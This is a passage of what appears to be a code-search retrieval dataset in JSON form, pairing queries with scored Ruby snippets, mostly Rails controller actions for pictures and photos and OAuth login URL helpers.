\"https://accounts.google.com/o/oauth2/auth?scope=https://www.googleapis.com/auth/urlshortener&response_type=code&client_id=#{ENV['GOOGL_CLIENT_ID']}&redirect_uri=#{ENV['GOOGL_REDIRECT_URI']}&access_type=offline&include_granted_scopes=true&approval_prompt=force\"\n end", "title": "" }, { "docid": "25b365e9a140cdaffa9aaff61c0e1ef2", "score": "0.50965655", "text": "def authenticated_path\n dashboard_path\n end", "title": "" }, { "docid": "e6d74ef7ee1eb3f0a4d41d3c1527792e", "score": "0.5082305", "text": "def uri_with_authentication\t\t\t\n\t\turi = base_uri.to_s + \"?\" + query_string\n\t\tmethod_hack = \"&_method=\" + @method \n\t\t# some clients (such as flash, and explorer) have an issue with PUT and delete methods. \n\t\t# method_hack insures that the right method gets through.\n\t\tURI.parse( uri + method_hack )\n\tend", "title": "" }, { "docid": "d790bcc160989e32eb0dd11dc5436257", "score": "0.50766176", "text": "def credentials_for uri, realm\n uri = URI uri unless URI === uri\n\n uri += '/'\n uri.user = nil\n uri.password = nil\n\n realms = @auth_accounts[uri]\n\n realms[realm] || realms[nil] || @default_auth\n end", "title": "" }, { "docid": "4ec99413371aeb5d3cfc84ffbef47953", "score": "0.507534", "text": "def add_credentials_to_agent_url(url)\n if url.starts_with? \"http://localhost:#{ZangZingConfig.config[:agent_port]}\"\n if ! url.include? '?'\n url += '?'\n end\n\n url += \"session=#{cookies[:user_credentials]}&user_id=#{current_user.id}\"\n\n end\n\n return url;\n end", "title": "" }, { "docid": "f644b11969839e9b2672d2685ad572db", "score": "0.50702304", "text": "def after_sign_in_path_for(resource)\n session[:forwarding_url] || root_path\n end", "title": "" }, { "docid": "23d6b0689b3f29ba19fb5f20da19e6c8", "score": "0.50684893", "text": "def require_login\n qop = ''\n case @qop\n when QOP_AUTH\n qop = 'auth'\n when QOP_AUTHINT\n qop = 'auth-int'\n when QOP_AUTH | QOP_AUTHINT\n qop = 'auth,auth-int'\n end\n\n @response.add_header('WWW-Authenticate', \"Digest realm=\\\"#{@realm}\\\",qop=\\\"#{qop}\\\",nonce=\\\"#{@nonce}\\\",opaque=\\\"#{@opaque}\\\"\")\n @response.status = 401\n end", "title": "" }, { "docid": "7e161287168a78af8295828e4aac466a", "score": "0.50676566", "text": "def authorize_url(params=nil)\n connection.build_url(options[:authorize_url], params).to_s\n end", "title": "" }, { "docid": "433b63ca4cc5032d991899ee1dce0491", "score": "0.50674427", "text": "def login_url(prt, opts = {})\n plid = login_request(prt, :requested => opts.delete(:requested), :seed => opts.delete(:seed)).plid\n login_url_from_plid( plid, opts.delete(:demo) )\n end", "title": "" }, { "docid": "d7d72709ea6bf0bdbb8ae47f8e36b0fa", "score": "0.50576764", "text": "def url\n '/users/show/' + login\n end", "title": "" }, { "docid": "fcc70f301eb17dc6dc70d6a6f664ecfc", "score": "0.5040032", "text": "def facebook_authenticate_url\n facebook_client.web_server.authorize_url(:redirect_uri => Settings.authentication.facebook.callback_url,\n :scope => Settings.authentication.facebook.scope)\n end", "title": "" }, { "docid": "a7ce10669d5d4cfdc452552481246d04", "score": "0.5039095", "text": "def get_login_url\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => 'https://login.microsoftonline.com',\n :authorize_url => '/common/oauth2/v2.0/authorize',\n :token_url => '/common/oauth2/v2.0/token')\n\n client.auth_code.authorize_url(:redirect_uri => REDIRECT_URI,\n :scope => SCOPES.join(' '))\n end", "title": "" }, { "docid": "047eb1b0b004133acb45f7682b18b5f5", "score": "0.5033236", "text": "def after_sign_in_path_for(resource)\n session[:requested_url] || myriorunner_path(current_user.id)#<= see how you pass in the user to get the id....\n end", "title": "" }, { "docid": "a5c90525c624c40d42c6d25a78ac931d", "score": "0.5024621", "text": "def after_successful_sign_in_url\n root_path\n end", "title": "" }, { "docid": "184f180429b764560f7e768fe2cc59ed", "score": "0.5022432", "text": "def redirect_url(callback_url)\n signin_url(callback_url)\n end", "title": "" }, { "docid": "a63ee83690e11ee27867c24c62d41143", "score": "0.50134933", "text": "def authorize_url(attribs={})\n self.class.authorize_url id, attribs.reverse_merge(credentials: api_creds)\n end", "title": "" }, { "docid": "441634f661c86b4adbabc17833de1669", "score": "0.5013415", "text": "def authorize_url\n @connection.authorize_url\n end", "title": "" }, { "docid": "67d667183ab1945fa895f0fcf0f9eca1", "score": "0.500395", "text": "def authCookie\n \"auth_pubtkt=uid%3D...\"\n end", "title": "" }, { "docid": "62c50d300c440999a2168d2ca357d04d", "score": "0.5000758", "text": "def default_sign_in_url\n user_sign_in_url\n end", "title": "" }, { "docid": "51eed53a89587865fbbf1c0825e5eb74", "score": "0.49990636", "text": "def token_url(user, ip, playback)\n auth_token = get_token(user, ip)\n if auth_token.present?\n uri = playback.url\n uri += URI.parse(uri).query.blank? ? \"?\" : \"&\"\n uri += \"token=#{auth_token}\"\n uri\n end\n end", "title": "" }, { "docid": "c9aad5ef1c2ff935c17171d771c049a8", "score": "0.4994278", "text": "def get_login_url\n client = OAuth2::Client.new(CLIENT_ID,\n CLIENT_SECRET,\n :site => \"https://login.microsoftonline.com\",\n :authorize_url => \"/common/oauth2/authorize\",\n :token_url => \"/common/oauth2/token\")\n\n login_url = client.auth_code.authorize_url(:redirect_uri => authorize_url)\n end", "title": "" } ]
31d7dc006c8528b216247399878f0b18
XXX: little bit hackish
[ { "docid": "68ef2625ee52e9fac31df22bd3b20981", "score": "0.0", "text": "def to_pml\n @data = { 'loop' => @loop.qname,\n 'step' => @step,\n 'offset' => @offset }\n @data['callsite'] = @callsite.qname if @callsite\n @data\n end", "title": "" } ]
[ { "docid": "b6b2bcc0062aeb115edab7b10cbe6930", "score": "0.6259849", "text": "def desired; end", "title": "" }, { "docid": "794a198d95cf296afde54486d8c4e262", "score": "0.58428437", "text": "def avail_out=(*) end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.58354557", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.58354557", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.58354557", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.58354557", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.58354557", "text": "def bodystmt; end", "title": "" }, { "docid": "9dcc74dd11eb115d21bf9af45b3ec4e3", "score": "0.58354557", "text": "def bodystmt; end", "title": "" }, { "docid": "bc658f9936671408e02baa884ac86390", "score": "0.5809264", "text": "def anchored; end", "title": "" }, { "docid": "8d1d77531cce0d12539ad149eebad454", "score": "0.5791473", "text": "def sub_from; end", "title": "" }, { "docid": "3ae137b1a40ff3aae4f3cbb2b6082797", "score": "0.5759934", "text": "def reaper; end", "title": "" }, { "docid": "5928f8efe9c6c2d408ea21a4cdce83ad", "score": "0.57296425", "text": "def preliminary?; end", "title": "" }, { "docid": "baabe5bb658b17a85353fb66fdbbf873", "score": "0.57216537", "text": "def extended; end", "title": "" }, { "docid": "c3285b979f713395f60cf13edce8a310", "score": "0.5696696", "text": "def methodmissing; end", "title": "" }, { "docid": "2811397aefca145cecd731fd0748b1e6", "score": "0.5695244", "text": "def preparable; end", "title": "" }, { "docid": "2811397aefca145cecd731fd0748b1e6", "score": "0.5695244", "text": "def preparable; end", "title": "" }, { "docid": "2811397aefca145cecd731fd0748b1e6", "score": "0.5695244", "text": "def preparable; end", "title": "" }, { "docid": "2811397aefca145cecd731fd0748b1e6", "score": "0.5695244", "text": "def preparable; end", "title": "" }, { "docid": "3d45e3d988480e2a6905cd22f0936351", "score": "0.5674075", "text": "def for; end", "title": "" }, { "docid": "3d45e3d988480e2a6905cd22f0936351", "score": "0.5674075", "text": "def for; end", "title": "" }, { "docid": "3d45e3d988480e2a6905cd22f0936351", "score": "0.5674075", "text": "def for; end", "title": "" }, { "docid": "05f30dbaa95cab56c89348edb221f3ed", "score": "0.5636206", "text": "def ext=(_arg0); end", "title": "" }, { "docid": "33e1db3c06643dd523dcc31fccf3a005", "score": "0.55941564", "text": "def used; end", "title": "" }, { "docid": "33e1db3c06643dd523dcc31fccf3a005", "score": "0.55941564", "text": "def used; end", "title": "" }, { "docid": "448787f3429a743cc160f05768c31150", "score": "0.5569874", "text": "def in_plain=(_arg0); end", "title": "" }, { "docid": "7ec57c3874853e50086febdbdd3221bf", "score": "0.5552285", "text": "def wedding; end", "title": "" }, { "docid": "5cdb4d7bb82aec52a912b8f68a6c157b", "score": "0.55466044", "text": "def getc(*) end", "title": "" }, { "docid": "255b128abb2eb262fd52b20ff68129b9", "score": "0.5523886", "text": "def escaper=(_); end", "title": "" }, { "docid": "3caf4c824a6d6a4a5616c13fcab418da", "score": "0.5512044", "text": "def applied; end", "title": "" }, { "docid": "5ffd4221c0adbb90a19d26836dc1440b", "score": "0.5504227", "text": "def parter; end", "title": "" }, { "docid": "b3d7c178b277afaefb1b9648335941e7", "score": "0.55025053", "text": "def loc; end", "title": "" }, { "docid": "b3d7c178b277afaefb1b9648335941e7", "score": "0.55025053", "text": "def loc; end", "title": "" }, { "docid": "b3d7c178b277afaefb1b9648335941e7", "score": "0.55025053", "text": "def loc; end", "title": "" }, { "docid": "b3d7c178b277afaefb1b9648335941e7", "score": "0.55025053", "text": "def loc; end", "title": "" }, { "docid": "b3d7c178b277afaefb1b9648335941e7", "score": "0.55025053", "text": "def loc; end", "title": "" }, { "docid": "b3d7c178b277afaefb1b9648335941e7", "score": "0.55025053", "text": "def loc; end", "title": "" }, { "docid": "b3d7c178b277afaefb1b9648335941e7", "score": "0.55025053", "text": "def loc; end", "title": "" }, { "docid": "0b7cffbc0c78b76d74504cb5a0e59c8e", "score": "0.5487083", "text": "def desired=(_arg0); end", "title": "" }, { "docid": "4e7f63d2e8327143b97af38c6fce7a24", "score": "0.54788387", "text": "def original; end", "title": "" }, { "docid": "4e7f63d2e8327143b97af38c6fce7a24", "score": "0.54788387", "text": "def original; end", "title": "" }, { "docid": "4e7f63d2e8327143b97af38c6fce7a24", "score": "0.54788387", "text": "def original; end", "title": "" }, { "docid": "4e7f63d2e8327143b97af38c6fce7a24", "score": "0.54788387", "text": "def original; end", "title": "" }, { "docid": "bfc59ba4069006df84cd4e7d17c175e6", "score": "0.54770285", "text": "def first_fixed; end", "title": "" }, { "docid": "3f8616b1d07a229912d449c023d6064c", "score": "0.5463256", "text": "def _get(_arg0); end", "title": "" }, { "docid": "b22b55ac75784dc3a9bcb40c0529af5d", "score": "0.5462606", "text": "def ss; end", "title": "" }, { "docid": "b22b55ac75784dc3a9bcb40c0529af5d", "score": "0.5462606", "text": "def ss; end", "title": "" }, { "docid": "6a6ed5368f43a25fb9264e65117fa7d1", "score": "0.5456588", "text": "def internal; end", "title": "" }, { "docid": "2fbd1141a5d3803251f00ea5c01e38ba", "score": "0.5456066", "text": "def extract; end", "title": "" }, { "docid": "2fbd1141a5d3803251f00ea5c01e38ba", "score": "0.5456066", "text": "def extract; end", "title": "" }, { "docid": "a9d4a0f6c15e6298bac689fdfcac09fd", "score": "0.5455412", "text": "def in_plain; end", "title": "" }, { "docid": "950bef128403f02279cc1bb4ef43a028", "score": "0.5450176", "text": "def realized?; end", "title": "" }, { "docid": "950bef128403f02279cc1bb4ef43a028", "score": "0.5450176", "text": "def realized?; end", "title": "" }, { "docid": "b6857af3a1d9b377dda4c9c405164fe1", "score": "0.5447768", "text": "def reify=(_arg0); end", "title": "" }, { "docid": "b6857af3a1d9b377dda4c9c405164fe1", "score": "0.5447768", "text": "def reify=(_arg0); end", "title": "" }, { "docid": "b6857af3a1d9b377dda4c9c405164fe1", "score": "0.5447768", "text": "def reify=(_arg0); end", "title": "" }, { "docid": "58e2e07d11b107b6864a328f2187e248", "score": "0.5440326", "text": "def apop?; end", "title": "" }, { "docid": "0212351345358772373f549b97821c62", "score": "0.54201996", "text": "def regular?; end", "title": "" }, { "docid": "dd634988bef3cbda8a94486413375360", "score": "0.5416318", "text": "def lookup; end", "title": "" }, { "docid": "dd634988bef3cbda8a94486413375360", "score": "0.5416318", "text": "def lookup; end", "title": "" }, { "docid": "2290804b238fc95bfd6b38f87c6d2895", "score": "0.5415292", "text": "def override; end", "title": "" }, { "docid": "bf468f414ee3a8426edc6c0e286a2221", "score": "0.5404854", "text": "def PO304=(arg)", "title": "" }, { "docid": "264cc83ea1a149106bb006cbbde6d9a6", "score": "0.5388212", "text": "def orig_name=(*) end", "title": "" }, { "docid": "85870341b530cc54336e2f1f78415cce", "score": "0.5379944", "text": "def rest; pos; end", "title": "" }, { "docid": "c9dca2359e04038394b1c66d5d923fa2", "score": "0.537951", "text": "def wrapped; end", "title": "" }, { "docid": "c9dca2359e04038394b1c66d5d923fa2", "score": "0.537951", "text": "def wrapped; end", "title": "" }, { "docid": "c9dca2359e04038394b1c66d5d923fa2", "score": "0.537951", "text": "def wrapped; end", "title": "" }, { "docid": "c9dca2359e04038394b1c66d5d923fa2", "score": "0.537951", "text": "def wrapped; end", "title": "" }, { "docid": "2181cc4c08c7cfcbb50f79ca20ab0c63", "score": "0.537941", "text": "def LIN04=(arg)", "title": "" }, { "docid": "d4248303d83e601fedcb6595d7408f7d", "score": "0.537536", "text": "def expanded; end", "title": "" }, { "docid": "22cedc7bf6749c5a730c17ddb7c38970", "score": "0.5374735", "text": "def used_by=(_arg0); end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.53725165", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.53725165", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.53725165", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.53725165", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.53725165", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.53725165", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.53725165", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.53725165", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.53725165", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.53725165", "text": "def from; end", "title": "" }, { "docid": "f1736df8e6642c2eeb78e4b30e5cf678", "score": "0.53725165", "text": "def from; end", "title": "" }, { "docid": "0e51b7bc662b6e57fc8b575fb9fcba40", "score": "0.5367103", "text": "def avail_out(*) end", "title": "" }, { "docid": "a9dd648a5d0d2e7d56223e7c753f5e2e", "score": "0.5364471", "text": "def telegraphical()\n end", "title": "" }, { "docid": "3fc62999f66ac51441f9ba80922d1854", "score": "0.5363579", "text": "def escaper; end", "title": "" }, { "docid": "8b608597e4f8cb342968a26900959e68", "score": "0.53634", "text": "def extended?; end", "title": "" }, { "docid": "8b79e8f7bbe83880e51794d26cd62a8f", "score": "0.5362116", "text": "def try; end", "title": "" }, { "docid": "37cdba0f8108c8e03598feeca3770ded", "score": "0.5356258", "text": "def objectish; end", "title": "" }, { "docid": "063e560f168e98f9b84eaedf8281c297", "score": "0.535412", "text": "def base; end", "title": "" }, { "docid": "063e560f168e98f9b84eaedf8281c297", "score": "0.535412", "text": "def base; end", "title": "" }, { "docid": "063e560f168e98f9b84eaedf8281c297", "score": "0.535412", "text": "def base; end", "title": "" }, { "docid": "063e560f168e98f9b84eaedf8281c297", "score": "0.535412", "text": "def base; end", "title": "" }, { "docid": "063e560f168e98f9b84eaedf8281c297", "score": "0.535412", "text": "def base; end", "title": "" }, { "docid": "063e560f168e98f9b84eaedf8281c297", "score": "0.535412", "text": "def base; end", "title": "" }, { "docid": "e28593026497a2baf9c546a2da299bf7", "score": "0.53433305", "text": "def nonstpreason\nend", "title": "" }, { "docid": "983a5b9de63b609981f45a05ecc2741f", "score": "0.53374815", "text": "def fallbacks=(_arg0); end", "title": "" }, { "docid": "1151221aa9457e5cad317e4fec922758", "score": "0.5334497", "text": "def adjugate; end", "title": "" }, { "docid": "8b3569b219e99d9eac85050822f6f885", "score": "0.5330866", "text": "def wrappers; end", "title": "" }, { "docid": "a29c5ce532d6df480df4217790bc5fc7", "score": "0.53286624", "text": "def extra; end", "title": "" }, { "docid": "a29c5ce532d6df480df4217790bc5fc7", "score": "0.53286624", "text": "def extra; end", "title": "" }, { "docid": "a29c5ce532d6df480df4217790bc5fc7", "score": "0.53286624", "text": "def extra; end", "title": "" }, { "docid": "a29c5ce532d6df480df4217790bc5fc7", "score": "0.53286624", "text": "def extra; end", "title": "" } ]
e9d6966bdb70e54ff215f31282469b43
GET /pictures/new GET /pictures/new.xml
[ { "docid": "c433ff37f023185d0eb3f52e6511b25d", "score": "0.7557399", "text": "def new\n @picture = Picture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @picture }\n end\n end", "title": "" } ]
[ { "docid": "0b07d18cb6b35c4f3295f196e652d021", "score": "0.7501984", "text": "def new\n @picture = Picture.new\n\n respond_to do |wants|\n wants.html # new.html.erb\n wants.xml { render :xml => @picture }\n end\n end", "title": "" }, { "docid": "7c270e4fdc428f9d12e69b6e664ec6aa", "score": "0.74720556", "text": "def new\n @pic = Pic.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pic }\n end\n end", "title": "" }, { "docid": "81193affed4d2c67e54c3fcc5b9dea1f", "score": "0.703855", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @photo }\n end\n end", "title": "" }, { "docid": "545ce1a62e12e3a84188260eccfa4373", "score": "0.70337975", "text": "def new\n @img = Img.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @img }\n end\n end", "title": "" }, { "docid": "8f29fd16e9795bcf7d3802708b42370e", "score": "0.70245165", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @photo }\n end\n end", "title": "" }, { "docid": "8f29fd16e9795bcf7d3802708b42370e", "score": "0.70245165", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @photo }\n end\n end", "title": "" }, { "docid": "8f29fd16e9795bcf7d3802708b42370e", "score": "0.70245165", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @photo }\n end\n end", "title": "" }, { "docid": "8f29fd16e9795bcf7d3802708b42370e", "score": "0.70245165", "text": "def new\n @photo = Photo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @photo }\n end\n end", "title": "" }, { "docid": "33deeaa1ade03a82390659a7b38bff54", "score": "0.6974265", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @image }\n end\n end", "title": "" }, { "docid": "b5f14b6f57e688dcd28f029ec13c8b31", "score": "0.6948854", "text": "def new\n @picture = Picture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @picture }\n end\n end", "title": "" }, { "docid": "b5f14b6f57e688dcd28f029ec13c8b31", "score": "0.6948854", "text": "def new\n @picture = Picture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @picture }\n end\n end", "title": "" }, { "docid": "b5f14b6f57e688dcd28f029ec13c8b31", "score": "0.6948854", "text": "def new\n @picture = Picture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @picture }\n end\n end", "title": "" }, { "docid": "1f03152e4d6b3c527a73e9f829398795", "score": "0.69125247", "text": "def new\n @picture = @museum.pictures.new #Picture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @picture }\n end\n end", "title": "" }, { "docid": "4a15938d8565cb31bf86da072975afb5", "score": "0.6902151", "text": "def new\n @picture = Picture.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @picture }\n end\n end", "title": "" }, { "docid": "a0c88f0243448b200c779cc2bbe57da7", "score": "0.6894744", "text": "def new\n @image = Image.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @image }\n end\n end", "title": "" }, { "docid": "69f7eedd557bff21c8c1687c77c6f9e3", "score": "0.68625206", "text": "def new\n @image_path = ImagePath.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @image_path }\n end\n end", "title": "" }, { "docid": "50b8e2b15485b8207894f82d919082ee", "score": "0.6856017", "text": "def new\n @picture = Picture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json=>@picture}\n end\n end", "title": "" }, { "docid": "2c916ec86e37f5c35ff15d07ab6fc4c6", "score": "0.68492", "text": "def new\n @picwall = Picwall.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @picwall }\n end\n end", "title": "" }, { "docid": "ddb34d24c6f321e9a9502b528f159b3d", "score": "0.6846423", "text": "def new\n @jpeg_folder = JpegFolder.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @jpeg_folder }\n end\n end", "title": "" }, { "docid": "7f979494f9ffad6a4fb6117e325ed674", "score": "0.6843045", "text": "def new\n @phot = Phot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @phot }\n end\n end", "title": "" }, { "docid": "0175623b6262474118e33c611e999ddd", "score": "0.67998254", "text": "def new\n @pic = Pic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pic }\n end\n end", "title": "" }, { "docid": "d1494f50ce962e6823574ff353f157e7", "score": "0.67927885", "text": "def new\n @portfolio_picture = PortfolioPicture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @portfolio_picture }\n end\n end", "title": "" }, { "docid": "5f9a05dcb5316c895e31701e413aae0f", "score": "0.6778948", "text": "def new\n @pictures_of_cat = PicturesOfCat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pictures_of_cat }\n end\n end", "title": "" }, { "docid": "6cb58bf8041114877e67a19b91288100", "score": "0.67678565", "text": "def new\n @img_info = ImgInfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @img_info }\n end\n end", "title": "" }, { "docid": "e53d4a7a89fe91b8ad596361ccb2f09b", "score": "0.67566746", "text": "def new\n @gallery = Gallery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gallery }\n end\n end", "title": "" }, { "docid": "e53d4a7a89fe91b8ad596361ccb2f09b", "score": "0.67566746", "text": "def new\n @gallery = Gallery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gallery }\n end\n end", "title": "" }, { "docid": "3574d75ec2026c290a294e2decfc404f", "score": "0.672162", "text": "def new\n @gallery = Gallery.new\n @rights = {'Moderators' => 'moderators', 'Members' => 'members', 'Anybody' => 'all'}\n\n @gallery.parent_type = params[:parent_type]\n @gallery.parent_id = params[:parent_id]\n set_session_parent_pictures_root_path(@gallery.get_parent_object)\n\n @new_pictures = Array.new\n 1.upto(3) { @new_pictures << Picture.new }\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gallery }\n end\n end", "title": "" }, { "docid": "2a8b8a251fade143f66b022b2e757a03", "score": "0.67205614", "text": "def new\n @gallery_image = @project.gallery_images.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gallery_image }\n end\n end", "title": "" }, { "docid": "5158ea74e9cf59d1496181efa176d314", "score": "0.6687725", "text": "def new\n @photo_set = PhotoSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @photo_set }\n end\n end", "title": "" }, { "docid": "98eb835b9eaeffd6f4807110176b1ddb", "score": "0.66864663", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @console_image }\n end\n end", "title": "" }, { "docid": "eb53952e5760ca1695e6f4aaa88f42f5", "score": "0.667438", "text": "def new\n @upload_picture = UploadPicture.new\n\n respond_to do |format|\n format.html { render :new, :layout => false}\n format.xml { render :xml => @upload_picture }\n end\n end", "title": "" }, { "docid": "804291c11f02066abe5715a0bca80042", "score": "0.66565996", "text": "def new\n @product_picture = ProductPicture.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product_picture }\n end\n end", "title": "" }, { "docid": "073b25d4e851bbde76c15fdcf3804979", "score": "0.66447216", "text": "def new\n @page = Page.new\n @photos = Photo.all\n respond_to do |format|\n format.html # new.html.erb\n end\n end", "title": "" }, { "docid": "a8ce0042bcc56b0fa2b867b812ce9f6a", "score": "0.66094035", "text": "def new\n @uploaded_image = UpdatedImage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @uploaded_image }\n end\n end", "title": "" }, { "docid": "d8ea92674709f0dd2fb4356f9af8565d", "score": "0.6606026", "text": "def new\n @photo_album = PhotoAlbum.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @photo_album }\n end\n end", "title": "" }, { "docid": "0e617b35b0a6b6810d981f01a9120a69", "score": "0.65922695", "text": "def new\n @photo_album = PhotoAlbum.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @photo_album }\n end\n end", "title": "" }, { "docid": "c317ae000ad433a772237c6ec4f51017", "score": "0.6570764", "text": "def new\n @photo = @allbum.photos.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @photo }\n end\n end", "title": "" }, { "docid": "3d3d1c3d452c6aa4499780fb50a9e037", "score": "0.6558664", "text": "def new\n @external_photo = ExternalPhoto.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @external_photo }\n end\n end", "title": "" }, { "docid": "c138046c4ac007a2e55f7552e557bb92", "score": "0.65475875", "text": "def new\n @thumb = Thumb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @thumb }\n end\n end", "title": "" }, { "docid": "9f94317979ab76317e701f699f2b46b0", "score": "0.65434366", "text": "def new\n @photocontest = Photocontest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @photocontest }\n end\n end", "title": "" }, { "docid": "b7bb08abe84b3ac9dfa6e9ee18c2398e", "score": "0.6542238", "text": "def new\n @image = Image.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @image }\n end\n end", "title": "" }, { "docid": "f8c5957edd26954ad1ee66a916352459", "score": "0.65345407", "text": "def new\n @gallery = Gallery.new\n @gallery.photos.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @gallery }\n end\n end", "title": "" }, { "docid": "ef8db6aaa2c43daf65c0e38ce5d4a3f2", "score": "0.6532089", "text": "def new\n @image_set = ImageSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @image_set }\n end\n end", "title": "" }, { "docid": "024ef12adecc076336bba8279acfd3e7", "score": "0.6531713", "text": "def new\n @project_image = ProjectImage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project_image }\n end\n end", "title": "" }, { "docid": "e627e4b2f7cc7113c9a92bc37d36d202", "score": "0.651", "text": "def new\n @graphic = Graphic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @graphic }\n end\n end", "title": "" }, { "docid": "25f2e51aa628ca6b57e8ddd50f8917b7", "score": "0.65080136", "text": "def new\n @article = Article.find_by_id(params[:article_id])\n @photo = Photo.new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @photo }\n end\n end", "title": "" }, { "docid": "f4b22157fe4255d8d8ef34739c4be340", "score": "0.65075743", "text": "def create\n @picture = Picture.new(params[:picture])\n\n respond_to do |format|\n if @picture.save\n flash[:notice] = 'Picture was successfully created.'\n format.html { redirect_to(@picture) }\n format.xml { render :xml => @picture, :status => :created, :location => @picture }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @picture.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "55ea79a46410e4962f5976a43272029b", "score": "0.6502722", "text": "def new\n @album = Album.new\n @images = Image.all(:conditions => {:album_id => nil})\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @album }\n end\n end", "title": "" }, { "docid": "71730d835906b89d60eafcc2d7bd5076", "score": "0.64741486", "text": "def new\n @image = @owner.images.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @image }\n end\n end", "title": "" }, { "docid": "1315005efe0647a45ff38c046fdd0641", "score": "0.6466912", "text": "def new\n @photographer = Photographer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @photographer }\n end\n end", "title": "" }, { "docid": "66d7e2e73dd7f62958b04e48c5c75a02", "score": "0.64629257", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @welcome_image }\n end\n end", "title": "" }, { "docid": "e1b3f05cffe14b94bab7e51e6cb11edb", "score": "0.6445629", "text": "def create\n @pic = Pic.new(params[:pic])\n\n respond_to do |format|\n if @pic.save\n flash[:notice] = 'Pic was successfully created.'\n format.html { redirect_to(@pic) }\n format.xml { render :xml => @pic, :status => :created, :location => @pic }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @pic.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad15aaa8dbc9b4d412a7be916d6d4edd", "score": "0.64377844", "text": "def index\n @pictures = Picture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pictures }\n end\n end", "title": "" }, { 